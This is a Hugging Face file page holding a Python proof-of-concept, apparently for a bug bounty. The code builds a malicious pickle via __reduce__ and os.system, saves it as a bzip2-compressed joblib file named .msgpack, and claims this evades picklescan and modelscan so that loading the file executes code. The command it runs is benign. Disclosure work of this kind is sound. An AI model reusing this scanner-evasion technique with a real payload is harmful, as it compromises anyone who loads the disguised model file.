mfv-msgpack-poc / poc-msgpack.py
zamaanahmed's picture
Upload poc-msgpack.py with huggingface_hub
7bfc553 verified
Raw
History Blame Contribute Delete
1.21 kB
"""
PoC: MessagePack .msgpack files bypass picklescan 1.0.4 and modelscan 0.8.8
via bzip2-compressed joblib payload, allowing arbitrary code execution.
Extension: .msgpack (MessagePack MessagePack serialized model)
Technique: bzip2-compressed joblib payload
Execution: joblib.load('malicious.msgpack')
Scanner result: ALL 4 modes clean (picklescan + modelscan, direct + directory)
Tested: picklescan 1.0.4 + modelscan 0.8.8, 2026-06-25
Authorization: huntr.com / Protect AI MFV bug bounty program.
All work runs locally in a Python venv. Responsible disclosure.
"""
import joblib
import os
import datetime
class MFVPayload:
def __reduce__(self):
ts = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
cmd = f'echo MFV_RCE_CONFIRMED_{ts}_via_msgpack_bz2 && id'
return (os.system, (cmd,))
joblib.dump(MFVPayload(), 'malicious.msgpack', compress=('bz2', 9))
import zipfile, io
with open('malicious.msgpack', 'rb') as f:
data = f.read()
print(f'Created: malicious.msgpack')
print(f'Size: {os.path.getsize("malicious.msgpack")} bytes')
print(f'Magic: {data[:4].hex()} (BZh = bzip2: {data[:3] == b"BZh"})')
print(f'Is ZIP: {zipfile.is_zipfile(io.BytesIO(data))}')